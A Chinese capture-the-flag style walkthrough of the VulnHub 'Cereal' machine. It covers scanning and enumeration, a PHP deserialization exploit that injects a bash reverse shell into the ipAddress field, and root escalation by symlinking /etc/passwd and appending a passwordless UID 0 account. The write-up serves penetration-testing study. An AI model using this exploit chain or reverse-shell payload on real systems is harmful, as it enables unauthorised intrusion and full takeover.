靶机:
https://download.vulnhub.com/cereal/Cereal.ova
难度:
- 高(最接近真实场景)
目标:
- 取得 root 权限 + 2 Flag
攻击方法:
- 主机发现
- 端口扫描
- 信息收集
- 路径枚举
- 密码爆破
- 域名解析
- 匿名FTP
- 子域名爆破
- 源码审计
- 反序列化漏洞
- 进程监视
- 本地提权
主机发现
sudo arp-scan -l
端口扫描和服务发现
sudo nmap -p- 192.168.0.102
扫描全端口,发现这台靶机开启了很多端口
sudo nmap -p21,22,80,139,445,3306,11111,22222,33333,33334,44441,44444,55551,55555 -A 192.168.0.102
-A
: 这个选项用于启用高级扫描功能,包括:
-
- 操作系统检测:尝试识别目标主机运行的操作系统。
- 版本检测:识别运行在开放端口上的服务的具体版本。
- 脚本扫描:使用Nmap Scripting Engine (NSE) 执行一系列脚本以检测漏洞或获得其他信息。
- 路由跟踪:记录从扫描主机到目标的路径。
┌──(kali㉿DESKTOP-MLG4CQ2)-[~]
└─$ sudo nmap -p21,22,80,139,445,3306,11111,22222,33333,33334,44441,44444,55551,55555 -A 192.168.0.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 22:13 CST
Nmap scan report for 192.168.0.102
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.0.103
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 6 Apr 12 2021 pub
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 00:24:2b:ae:41:ba:ac:52:d1:5d:4f:ad:00:ce:39:67 (RSA)
| 256 1a:e3:c7:37:52:2e:dc:dd:62:61:03:27:55:1a:86:6f (ECDSA)
|_ 256 24:fd:e7:80:89:c5:57:fd:f3:e5:c9:2f:01:e1:6b:30 (ED25519)
80/tcp open http Apache httpd 2.4.37 (())
|_http-server-header: Apache/2.4.37 ()
|_http-title: Apache HTTP Server Test Page powered by: Rocky Linux
| http-methods:
|_ Potentially risky methods: TRACE
139/tcp open tcpwrapped
445/tcp open tcpwrapped
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '192.168.0.103' is not allowed to connect to this MariaDB server
11111/tcp open tcpwrapped
22222/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
33333/tcp open tcpwrapped
33334/tcp open tcpwrapped
44441/tcp open http Apache httpd 2.4.37 (())
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 ()
44444/tcp open tcpwrapped
55551/tcp open tcpwrapped
55555/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=11/12%Time=6733626D%P=x86_64-pc-linux-gnu%
SF:r(NULL,4C,"H\0\0\x01\xffj\x04Host\x20'192\.168\.0\.103'\x20is\x20not\x2
SF:0allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
MAC Address: 08:00:27:BD:76:28 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Unix
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 1.08 ms 192.168.0.102
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.41 seconds
发现开启了 vsftpd 3.0.3
,那么搜索一下有没有已知漏洞可以利用 searchsploit vsftpd 3.0.3
发现远程拒绝服务攻击的利用脚本,但是对于我们突破边界是没有任何帮助的
匿名 FTP
开了 21 端口,那么使用 ftp 客户端连接到 IP 地址为 192.168.0.102 的 FTP 服务器
anonymous:你以匿名用户登录,这是一种不需要用户名和密码的常见访问方式
发现服务器上没有任何可以下载的文件,也不能将文件上传上去
nc 上去也提示是非法的命令,所以只能暂时将FTP服务放过了
发现开启了 139 和 445 端口,使用 enum4linux 工具,
enum4linux 是一个用于枚举 Windows 和 Samba 系统信息的工具。它主要用于信息收集和漏洞评估,特别是在渗透测试和安全审计过程中。通过利用 SMB(Server Message Block)协议,enum4linux 能够提取大量有用的信息。
显示 No reply from 192.168.0.102
说明没有任何返回信息
那我们只能从 80 和 44441 端口来找突破点了
kex --win -s 打不开,暂停了,那就直接在命令行输入 firefox 打开浏览器
源码当中也没有任何有价值的信息
信息收集,路径枚举
那么用爬站工具爬一下
dirb http://192.168.0.105
用万能密码的方式也进不去,爆破也没有任何反馈
发现要用 http://cereal.ctf 这个域名才能访问,然后还可能存在 backup 备份文件,如果能拿到备份文件,那么我们可以通过代码审计的方式来发现漏洞
于是接下来先编辑一下我们本机的 hosts 文件
sudo vi /etc/hosts
访问 http://192.168.0.105/blog/wp-admin/ 就成功重定向到了Wordpress 的后台登录界面
登录框进行弱口令暴力破解也进不去
用 kali 自带的 wpscan 进行扫描
wpscan --url http://cereal.ctf/blog -e vt,vp --plugins-detection mixed
最后也没有发现有价值的信息
那前面有提示说有 backup 备份文件,我们尝试找一下
用工具 dirbuster,用完没有发现备份文件
那我们还是把目光放到 44441 端口上吧,也没跑出什么信息
子域名爆破
那我们尝试查找子域名
gobuster dns -d cereal.ctf -r 192.168.31.26:44441 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 256
- dns DNS子域暴力破解模式
- -t,--threads int 指定线程数量(默认10)
- -d,--domain string 目标域
找到一个子域名 secure.cereal.ctf
,添加到 hosts 文件里面
打开发现是经典的命令执行靶场的界面
源码审计
Ctrl + U 查看网页代码发现有序列化操作
function submit_form() {
var object = serialize({ipAddress: document.forms["ipform"].ip.value});
object = object.substr(object.indexOf("{"),object.length);
object = "O:8:\"pingTest\":1:" + object;
document.forms["ipform"].obj.value = object;
document.getElementById('ipform').submit();
}
这段代码是一个 JavaScript 函数 submit_form
,用于处理表单提交。下面是对代码的逐行解释:
- function submit_form() {
定义一个名为submit_form
的函数。 - var object = serialize({ipAddress: document.forms["ipform"].ip.value});
创建一个对象,包含一个属性ipAddress
,其值来自名为ipform
的表单中的ip
输入字段。然后,调用serialize
函数将该对象序列化成字符串。 - object = object.substr(object.indexOf("{"), object.length);
获取序列化字符串中第一个{
字符开始到字符串末尾的部分。这通常是为了确保获取到完整的 JSON 或对象字符串。 - object = "O:8:"pingTest":1:" + object;
这行代码将字符串"O:8:\"pingTest\":1:"
添加到序列化的对象字符串前面。这个格式可能与某种特定的序列化方式有关,通常在 PHP 中用于表示对象。 - document.forms["ipform"].obj.value = object;
将处理后的object
字符串赋值给ipform
表单中的obj
字段。这意味着在提交表单时,这个字段将包含处理后的数据。 - document.getElementById('ipform').submit();
通过调用submit()
方法提交表单。
总的来说,这个函数的主要作用是获取用户输入的 IP 地址,将其序列化并格式化成特定的字符串,然后将这个字符串存入表单的一个隐藏字段中,最后提交表单。在实际使用中,需要确保 serialize
函数的存在并能够正确处理对象序列化。
反序列化漏洞
拿到源码才能反序列化,尝试查找备份文件,因为作者前面给过提示说有 backup 备份文件
gobuster dir -r -u http://secure.cereal.ctf:44441/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -t 300 -e
再从这个路径下找备份文件,看看有没有后缀是 bak,tar,zip,back 的文件
gobuster dir -r -u http://secure.cereal.ctf:44441/back_en/ -x bak,tar,zip,back -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 300 -e
发现一个 index.php.bak
下载下来拿到源码
<?php
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
function validate() {
if (!$this->isValid) {
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{
$this->isValid = True;
}
}
$this->ping();
}
public function ping()
{
if ($this->isValid) {
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
}
}
if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}
$pingTest->validate();
这段 PHP 代码定义了一个 pingTest
类,并使用该类来验证和执行对一个 IP 地址的 ping 操作。下面是对代码的逐行解释:
类定义
- class pingTest {
定义一个名为pingTest
的类。 - public $ipAddress = "127.0.0.1";
类的一个公共属性ipAddress
,默认值为127.0.0.1
(本地回环地址)。 - public $isValid = False;
类的另一个公共属性isValid
,默认值为False
,用于标识 IP 地址是否有效。 - public $output = "";
类的第三个公共属性output
,用于存储 ping 命令的输出结果,初始为空字符串。
方法定义
- function validate() {
定义一个validate
方法,用于验证 IP 地址。 - if (!$this->isValid) {
检查isValid
是否为False
,如果是则继续验证。 - if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)) {
使用filter_var
函数检查ipAddress
是否是一个有效的 IP 地址。 - $this->isValid = True;
如果验证通过,将isValid
设置为True
。 - }
结束内层if
语句。 - $this->ping();
调用ping
方法,如果 IP 地址有效,则执行 ping 操作。 - }
结束validate
方法。
ping 方法
- public function ping() {
定义一个ping
方法。 - if ($this->isValid) {
检查isValid
是否为True
。 - $this->output = shell_exec("ping -c 3 $this->ipAddress");
使用shell_exec
函数执行系统的 ping 命令,-c 3
表示发送 3 次 ping 请求。将返回结果赋值给output
属性。 - }
结束if
语句。 - }
结束ping
方法。
实例化和处理请求
- if (isset($_POST['obj'])) {
检查是否有obj
字段在 POST 请求中。 - $pingTest = unserialize(urldecode($_POST['obj']));
如果存在,将obj
字段经过 URL 解码后进行反序列化,实例化一个pingTest
对象。 - } else {
如果obj
不存在,执行以下代码。 - $pingTest = new pingTest;
创建一个pingTest
的新实例。 - }
结束if
语句。 - $pingTest->validate();
调用validate
方法,进行 IP 地址的验证和 ping 操作。
总结
这段代码的核心功能是:
- 定义一个用于验证 IP 地址并执行 ping 操作的类。
- 通过 POST 请求接收数据,如果存在序列化的对象,则进行反序列化;否则,创建一个新的
pingTest
实例。 - 调用
validate
方法,检查 IP 地址的有效性,并在有效时执行 ping 操作。
使用时要注意安全性,尤其是在处理用户输入和执行 shell 命令时,以防止代码注入等安全问题。
通过代码审计发现需要把 isValid 的值设置为 True 才能绕过验证执行命令
编写 exp:
<?php
class pingTest{
public $ipAddress = "127.0.0.1|bash -c 'bash -i >& /dev/tcp/192.168.31.126/4444 0>&1'";
public $isValid = TRUE;
}
$obj = new pingTest();
echo urlencode(serialize($obj));
?>
执行代码获得序列化字符串,然后通过 burp 传递给目标服务器
kali 开启 nc 监听本地 4444 端口,等待 shell 连接过来
获得第一个 flag
提权
进程监视
先把一个进程查看的文件传给靶机
文件下载地址:https://github.com/0xleft/smokescreen/blob/master/pspy64
nc -lvnp 5555 > pspy
靶机准备接受文件,并命名为pspy
nc 192.168.31.26 5555 < pspy64 -w 1
kali 把文件传过去
-w 1 参数的意思是当文件传输完毕之后隔1秒就断开连接
chmod +x pspy
赋予执行权限,./pspy
运行文件启动监听,大约七八分钟之后就能看见一个脚本在执行
然后就能监听到这一行 UID=0PID=2808| /bin/bash /usr/share/scripts/chown.sh
查看该文件是这个内容
chown rocky:apache /home/rocky/public_html/*
这条命令的作用是更改指定目录下所有文件和子目录的所有者和所属组。具体解释如下:
chown
:这是一个用于更改文件或目录所有者和所属组的命令。rocky:apache
:这个部分指定新的所有者和所属组。rocky
是新的文件所有者,而apache
是新的所属组。用冒号:
分隔开来表示。/home/rocky/public_html/*
:这是指定要更改的文件和目录的路径。*
表示匹配该路径下的所有文件和子目录。
综上所述,这条命令的作用是将 /home/rocky/public_html/
目录下的所有文件和子目录的所有者更改为 rocky
,并将它们的所属组更改为 apache
。
通常,这样的操作用于确保特定用户对文件或目录的访问权限,以及使相关服务(如 web 服务器)能够正确访问和使用这些文件。在指定的例子中,将文件的所属组设置为 apache
可能是为了确保 Apache web 服务器可以访问这些文件。
当前就是这个目录,我们可以通过软链接来连接 /etc/passwd,从而让我们拥有修改 /etc/passwd 文件的权限
ln -sf /etc/passwd /home/rocky/public_html/passwd
这条命令的作用是创建一个符号链接。具体解释如下:
ln
:这是一个用于创建链接的命令。-s
:这个选项表示创建一个符号链接(也称为软链接),而不是硬链接。符号链接是一种特殊类型的文件,它指向另一个文件或目录的位置。-f
:这个选项表示强制执行链接操作。如果目标文件已经存在,-f
会先删除它,然后再创建新的链接。/etc/passwd
:这是被链接的源文件。在类 Unix 系统中,/etc/passwd
是一个重要的文件,通常包含了系统用户的基本信息,如用户名、用户ID、组ID、用户主目录和默认的shell等。/home/rocky/public_html/passwd
:这是符号链接的目标路径,即在这个位置创建一个名为passwd
的符号链接。
综上所述,这条命令的作用是:
- 创建一个指向
/etc/passwd
文件的符号链接,链接名称为/home/rocky/public_html/passwd
。 - 如果
/home/rocky/public_html/passwd
已经存在,它会被删除并重新创建链接。
需要注意的是,将 /etc/passwd
的链接放在公共 HTML 目录(如 public_html
)中,可能会导致安全问题,因为 /etc/passwd
文件包含有关系统用户的信息,公开这些信息可能会被恶意用户利用。因此,在实际操作中,应该谨慎处理这类链接。
本地提权
再次查看就能发现 /etc/passwd 的属主已经更改了
通过小学二年级的知识我们知道,/etc/passwd 文件中的这个 x
是一个占位符,表示的是密码,而真正的密码放在 /etc/shadow 文件里,我们可以通过把 x 给去掉,让他变成空密码
由于我们当前获得的不是一个完整的 shell,所以不能直接通过 vi 来修改,会出现乱码
那我们就直接按照 root 那一行的样子给他加一行吧,添加一个 root 权限的账户
echo "fabian::0:0:root:/root:/bin/bash" >> /etc/passwd
切换到这个账户 su - fabian
-
:这个选项表示切换到目标用户的登录环境。使用 -
选项时,系统会加载目标用户的环境变量,包括用户的 PATH、HOME 目录等,这样可以使你获得目标用户的完整登录环境。